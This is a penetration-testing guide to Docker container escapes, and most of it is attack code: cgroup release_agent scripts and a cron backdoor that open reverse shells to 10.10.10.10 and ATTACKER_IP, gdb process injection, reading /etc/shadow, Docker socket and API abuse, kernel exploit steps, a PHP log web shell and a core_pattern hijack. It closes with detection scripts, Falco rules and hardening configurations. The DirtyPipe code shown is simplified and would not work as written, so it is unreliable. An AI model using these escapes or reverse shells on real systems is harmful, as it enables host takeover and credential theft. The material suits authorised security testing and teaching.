
Docker Container Escape Techniques
Docker container escape techniques including privileged containers, exposed Docker sockets, kernel exploits, and misconfiguration exploitation methods.
Introduction
A container escape is any route from a process inside a container to code execution on the host. Docker's isolation is a set of kernel features and runtime defaults, so the routes in are mostly about which of those defaults someone turned off.
The usual causes:
- Runtime settings that hand out too much: privileged mode, extra capabilities
- An exposed Docker socket or container runtime API
- A kernel vulnerability, since the container and host share one kernel
- Namespace and cgroup misconfigurations
- Host paths mounted into the container with write access
Impact
Most escapes end in root on the host. From there you control every other container on that host as well.
Impact
Root on the host gives you every container running on it, plus their filesystems, databases and secrets. You can change the host for persistence. Build hosts often hold CI/CD and registry credentials, which turns one escape into a supply chain problem. On a Kubernetes node, the kubelet credentials and any mounted service account tokens are a path from one container to the cluster.
In the cloud, the host can usually reach the provider's metadata service, which hands out the instance's credentials.
Privileged container escapes
Privileged mode
A container started with --privileged gets almost every capability and device the host has:
# Running a privileged container
docker run --privileged -it ubuntu bash
# Inside the container, you have access to:
# - All devices (/dev/*)
# - Full capability set (CAP_SYS_ADMIN, etc.)
# - Ability to load kernel modules
# - Access to modify host resourcesCheck from inside the container:
# Check if running as privileged
if [ -e /dev/kmsg ]; then
echo "Likely running as privileged (access to kernel message buffer)"
fi
# Check capabilities
capsh --print | grep Current
# Check for full device access
ls -la /dev | wc -l # Privileged containers see many more devicesPrivileged container escape via /proc
Technique 1: host process injection
# Inside privileged container
# Find host process with writable /proc/[PID]/root
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
if [ -w /proc/$pid/root ] 2>/dev/null; then
echo "Writable: /proc/$pid/root"
# Execute command on host via chroot
chroot /proc/$pid/root /bin/bash -c "id; hostname"
fi
doneTechnique 2: cgroup release_agent (classic)
# Create payload on host filesystem
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Register release agent
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create payload script
cat > /cmd << EOF
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
EOF
chmod a+x /cmd
# Trigger execution
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"Scripted release_agent escape
#!/bin/bash
# Automated cgroup release_agent escape
# Create cgroup and mount
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# Enable notification
echo 1 > /tmp/cgrp/x/notify_on_release
# Find host path
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Setup reverse shell payload
echo "$host_path/exploit" > /tmp/cgrp/release_agent
cat > /exploit << 'EOF'
#!/bin/sh
exec 5<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT
cat <&5 | while read line; do $line 2>&5 >&5; done
EOF
chmod +x /exploit
# Trigger by killing process in cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1Privileged container escape via devices
Disk device access
# List available block devices
fdisk -l
# Mount host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
ls -la /mnt/host
cat /mnt/host/etc/shadow
# Establish persistence
cat << EOF > /mnt/host/etc/cron.d/backdoor
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
EOFKernel module loading
# Check if kernel modules can be loaded
lsmod
modprobe -v test 2>&1 | grep -q "Operation not permitted" || echo "Can load modules!"
# Load malicious kernel module
insmod /tmp/rootkit.ko
# Or load existing kernel modules for exploitation
modprobe overlay
modprobe nf_natCapability-based escapes
CAP_SYS_ADMIN abuse
CAP_SYS_ADMIN covers so many operations (mount, namespace changes, cgroup writes) that it is close to full root. Several escapes need nothing else:
# Check for CAP_SYS_ADMIN
capsh --print | grep sys_admin
# Or using getpcaps
getpcaps $$ 2>&1 | grep cap_sys_adminEscape through namespace manipulation:
#!/bin/bash
# CAP_SYS_ADMIN container escape via mount namespace
# Create a new mount namespace
unshare -m /bin/bash
# Mount host filesystem
mkdir -p /mnt/host
mount -t proc none /proc
mount --bind /proc/1/root /mnt/host
# Access host filesystem
ls -la /mnt/host
chroot /mnt/host /bin/bashCAP_SYS_PTRACE abuse
# Check for CAP_SYS_PTRACE
capsh --print | grep sys_ptrace
# Find host processes
ps aux | grep -v "^\[" | head
# Attach to host process and inject shellcode
gdb -p [HOST_PID]
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'")
(gdb) detach
(gdb) quitCAP_DAC_READ_SEARCH abuse
This capability skips file read permission checks and directory search checks:
# Read any file on accessible filesystems
python3 << 'EOF'
import os
import ctypes
# Open host root (if mounted)
fd = os.open('/host', os.O_RDONLY)
os.chroot('/proc/self/fd/%d' % fd)
# Now can read any file
with open('/etc/shadow', 'r') as f:
print(f.read())
EOFDocker socket exposure
Exposed Docker socket (/var/run/docker.sock)
A mounted socket is the easiest escape you will find. Talking to the socket means talking to a daemon that runs as root:
# Check for exposed Docker socket
ls -la /var/run/docker.sock
# If present, you can control the Docker daemon
docker ps # List all containers on host
docker images # List all imagesTechnique 1: mount the host filesystem
# Create privileged container with host filesystem mounted
docker run -v /:/hostfs -it ubuntu bash
# Inside new container, access host
chroot /hostfs /bin/bashTechnique 2: start a privileged container
# Start privileged container
docker run --privileged --pid=host -it ubuntu nsenter --target 1 --mount --uts --ipc --net /bin/bash
# You're now in host namespaces with root privilegesAutomated exploitation
# One-liner Docker socket escape
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bashDocker API exploitation
The same applies when the Docker API listens on TCP (2375 plain, 2376 TLS):
# Check for exposed Docker API
curl http://[TARGET]:2375/version
# List containers
curl http://[TARGET]:2375/containers/json
# Create privileged container
curl -X POST -H "Content-Type: application/json" \
http://[TARGET]:2375/containers/create \
-d '{
"Image": "ubuntu",
"Cmd": ["/bin/bash"],
"Mounts": [{
"Type": "bind",
"Source": "/",
"Target": "/host"
}],
"Privileged": true,
"Tty": true
}'Kernel exploits
DirtyPipe (CVE-2022-0847)
DirtyPipe lets an unprivileged process overwrite data in read-only files through the page cache. It affects kernels from 5.8 up to the fixes in 5.16.11, 5.15.25 and 5.10.102:
// DirtyPipe exploit for container escape
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
// Open read-only file
int fd = open("/etc/passwd", O_RDONLY);
// Create pipe
int pipefd[2];
pipe(pipefd);
// Write to pipe
write(pipefd[1], "root::0:0:root:/root:/bin/bash\n", 32);
// Splice from pipe to file (overwrites data)
splice(pipefd[0], NULL, fd, NULL, 1, 0);
close(fd);
close(pipefd[0]);
close(pipefd[1]);
// Authenticate as root
execl("/bin/su", "su", NULL);
}DirtyCow (CVE-2016-5195)
DirtyCow is an older copy-on-write race condition in the memory subsystem:
# Clone exploit
git clone https://github.com/dirtycow/dirtycow.github.io.git
cd dirtycow.github.io/pokemon
# Compile
gcc -pthread dirty.c -o dirty -lcrypt
# Run exploit
./dirty
# Gain root shell
su firefart # Password: dirtyCowFunOverlayFS exploits
# Check for vulnerable kernel
uname -r # Vulnerable: < 5.11
# Clone exploit
git clone https://github.com/briskets/CVE-2021-3493.git
cd CVE-2021-3493
# Compile and run
gcc exploit.c -o exploit
./exploit
# Should drop to root shellMisconfiguration-based escapes
Host PID namespace (--pid=host)
With the host PID namespace you can see every host process. nsenter into PID 1 also needs CAP_SYS_ADMIN, so this works when the container is privileged as well:
# If a privileged container shares the host PID namespace
docker run --pid=host --privileged -it ubuntu bash
# Inside container
ps aux # Shows all host processes
# Inject into systemd (PID 1)
nsenter --target 1 --mount --uts --ipc --net --pid /bin/bashHost network namespace (--net=host)
The container uses the host's network stack, so services bound to the host's localhost are reachable:
# Container using host network stack
docker run --net=host -it ubuntu bash
# Can now access host network services
ss -tlnp # See all listening services
# Access services bound to localhost
curl http://localhost:22 # SSHSensitive host paths mounted
Writable /var/log
# If /var/log is writable
# Inject into log files that are processed
echo '<?php system($_GET["cmd"]); ?>' >> /var/log/apache2/access.log/proc or /sys mounted writable
# Write to core_pattern for code execution
echo '|/tmp/exploit' > /proc/sys/kernel/core_pattern
# Trigger core dump
kill -SIGSEGV $$Detection
From inside the container
Check for escape indicators:
#!/bin/bash
# Container escape detection script
echo "[*] Checking for container escape vectors..."
# Check if privileged
if [ -e /dev/kmsg ]; then
echo "[!] Running as PRIVILEGED container"
fi
# Check for Docker socket
if [ -e /var/run/docker.sock ]; then
echo "[!] Docker socket exposed: /var/run/docker.sock"
fi
# Check capabilities
echo "[*] Current capabilities:"
capsh --print | grep Current
# Check for dangerous capabilities
for cap in cap_sys_admin cap_sys_ptrace cap_sys_module cap_dac_read_search; do
capsh --print | grep -q $cap && echo "[!] Dangerous capability: $cap"
done
# Check for host namespaces
if [ "$(readlink /proc/1/ns/pid)" == "$(readlink /proc/self/ns/pid)" ]; then
echo "[!] Sharing PID namespace with host"
fi
# Check for mounted host paths
echo "[*] Suspicious mounts:"
mount | grep -E "^\/(sys|proc|dev|var)" | grep -v "type (proc|sysfs|devtmpfs)"
# Check for accessible devices
echo "[*] Accessible block devices:"
ls /dev/sd* /dev/vd* /dev/nvme* 2>/dev/nullFrom the host
Watch for escape attempts:
# Audit privileged containers
docker ps -q | xargs docker inspect --format '{{.Name}} {{.HostConfig.Privileged}}' | grep true
# Detect containers with dangerous capabilities
docker ps -q | xargs docker inspect --format '{{.Name}} {{.HostConfig.CapAdd}}' | grep -E "SYS_ADMIN|SYS_PTRACE|SYS_MODULE"
# Monitor for container runtime exploitation
auditctl -w /var/run/docker.sock -p war -k docker_socket_access
auditctl -w /proc/sys/kernel/core_pattern -p wa -k core_pattern_modificationFalco rules for container escape:
# Falco rule to detect container escape attempts
- rule: Container Escape Attempt
desc: Detect potential container escape techniques
condition: >
(spawned_process and container and
(proc.name in (nsenter, unshare, capsh) or
proc.cmdline contains "chroot /proc" or
proc.cmdline contains "docker run --privileged"))
output: >
Container escape attempt detected (user=%user.name container=%container.name
command=%proc.cmdline)
priority: CRITICALPrevention and hardening
Run containers with minimal privileges
# Secure container execution
docker run \
--rm \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--security-opt=no-new-privileges \
--user 1000:1000 \
-it ubuntu bashDocker image hardening
Dockerfile hardening:
FROM ubuntu:22.04
# Run as non-root user
RUN groupadd -r appuser && useradd -r -g appuser appuser
# Set proper file ownership
COPY --chown=appuser:appuser ./app /app
# Drop all capabilities
USER appuser
# Use read-only root filesystem
# docker run --read-only ...
ENTRYPOINT ["/app/main"]AppArmor profile
# AppArmor profile for Docker containers
cat > /etc/apparmor.d/docker-secure << 'EOF'
#include <tunables/global>
profile docker-secure flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
# Deny access to sensitive files
deny /proc/sys/kernel/** wl,
deny /sys/kernel/security/** wl,
deny /proc/sysrq-trigger rwklx,
# Deny capability changes
deny capability sys_admin,
deny capability sys_ptrace,
deny capability sys_module,
# Allow only necessary capabilities
capability net_bind_service,
capability setuid,
capability setgid,
}
EOF
# Load profile
apparmor_parser -r /etc/apparmor.d/docker-secure
# Run container with profile
docker run --security-opt apparmor=docker-secure -it ubuntu bashSeccomp profile
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": [
"read", "write", "open", "close", "stat", "fstat",
"poll", "lseek", "mmap", "mprotect", "munmap",
"brk", "rt_sigaction", "rt_sigprocmask"
],
"action": "SCMP_ACT_ALLOW"
}
]
}# Run with seccomp profile
docker run --security-opt seccomp=secure-profile.json -it ubuntu bashUser namespaces
User namespace remapping maps root in the container to an unprivileged UID on the host:
# Configure dockerd with user namespaces
cat > /etc/docker/daemon.json << EOF
{
"userns-remap": "default"
}
EOF
systemctl restart docker
# Root in container is now unprivileged user on hostKubernetes pod security
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: ubuntu:22.04
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir: {}References
- MITRE ATT&CK: T1611 - Escape to Host
- CIS Docker Benchmark
- Trail of Bits: Understanding Docker Container Escapes
- Felix Wilhelm: Escaping Virtualized Containers
- NIST SP 800-190: Application Container Security Guide
Next steps
If you find an escape path on an engagement, the remediation advice usually covers:
- Audit every running container for privileged mode and added capabilities
- Enforce Pod Security Standards in Kubernetes
- Run runtime monitoring such as Falco on container hosts
- Scan images in the CI/CD pipeline
- Segment the network so one compromised host can't reach everything
For the defensive side in more depth, see Container Hardening.
Container Security
Container security including Docker escape techniques, containerization fundamentals, and hardening best practices for penetration testing and security assessments.
Containerization Fundamentals
Security-focused overview of Docker and Kubernetes architecture, covering isolation mechanisms, security boundaries, and common misconfigurations from an offensive security perspective.